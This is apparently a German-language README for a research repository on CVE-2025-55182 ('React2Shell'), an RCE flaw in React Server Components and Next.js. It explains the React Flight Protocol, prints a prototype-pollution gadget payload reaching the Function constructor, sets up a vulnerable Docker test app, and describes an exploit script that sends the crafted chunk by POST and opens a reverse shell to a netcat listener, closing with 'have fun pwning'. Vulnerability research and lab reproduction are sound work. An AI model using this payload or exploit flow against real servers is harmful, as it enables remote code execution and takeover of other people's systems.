
My research on CVE-2025-55182
Dieses Repository enthält meine Forschung zu CVE-2025-55182, auch bekannt als React2Shell-Sicherheitslücke. Das Repository besteht aus zwei Hauptteilen: Stand und Exploit.
Einige Informationen zu diesem Sicherheitsfehler:
Die Schwachstelle ist im Grunde ein Mangel an Benutzereingabevalidierung. Aber so einfach ist es nicht =)
Der React-Client-Teil und der React-Server-Teil verwenden das React Flight Protocol zum Datenaustausch. Hier ist ein guter Vortrag, um sich schnell damit vertraut zu machen.
Beispiel für React Flight Protocol-Nachrichtenchunks:
{
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Chunks des RFP können mit dem $-Operator aufeinander verweisen. Wenn Chunks später auf dem Server deserialisiert werden, werden diese Verweise aufgelöst. Ein wichtiger Punkt hier ist, dass wir von dort aus auf den Objekt-Prototypen zugreifen können.
Durch Manipulation des Prototyps können wir die V8 zwingen, auf unseren .then() zu warten. Der resultierende Payload könnte so aussehen:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Ich werde nicht zu sehr ins Detail gehen, wie genau diese Gadget-Kette funktioniert. Wenn du mehr darüber erfahren möchtest, lies eine großartige Analyse hier von Moritz Sanft.
Du kannst auch den GitHub-Versionsvergleich vor und nach dem Patch ansehen, wenn du tiefer in diesen Fehler eintauchen möchtest.
Ich habe eine einfache React/Next.js-App erstellt, die folgende Abhängigkeiten verwendet (siehe stand/package.json):
"dependencies": {
"next": "16.0.6",
"react": "19.2.0",
"react-dom": "19.2.0"
},
Nur eine einfache Seite mit Textinhalt, erstellt mit create-next-app:
Um zu starten, führe dies im Verzeichnis stand aus:
docker compose up --build -d
Navigiere dann in deinem Browser zu http://localhost:3000.
Die Ausnutzung ist unkompliziert. Wir müssen nur einen speziell konstruierten RFP-Chunk mit unserem Payload per POST-Anfrage an den Server senden. Siehe exploit/src/main.py. Es enthält auch eine einfache Prüfung, ob der Server verwundbar ist oder nicht: Es versucht, einen whoami-Befehl auszuführen; wenn das Timeout überschritten wird, verwendet der Server höchstwahrscheinlich eine gepatchte Version.
Den RFP-Payload findest du in exploit/resource/chunk.json.
Vergiss nicht, vor dem Ausführen des Exploits einen Netcat-Listener einzurichten und die exploit/resource/config.toml mit deinem Host und Port zu aktualisieren, um eine Reverse-Shell zu erhalten.
Viel Spaß beim Pwnen!
Großer Respekt an Lachlan Davidson, der die Schwachstelle entdeckt hat, maple, der ein gutes Gadget gefunden hat, und auch Moritz Sanft, der seinen PoC geteilt und eine großartige Analyse geschrieben hat.
prod by I3r1h0n.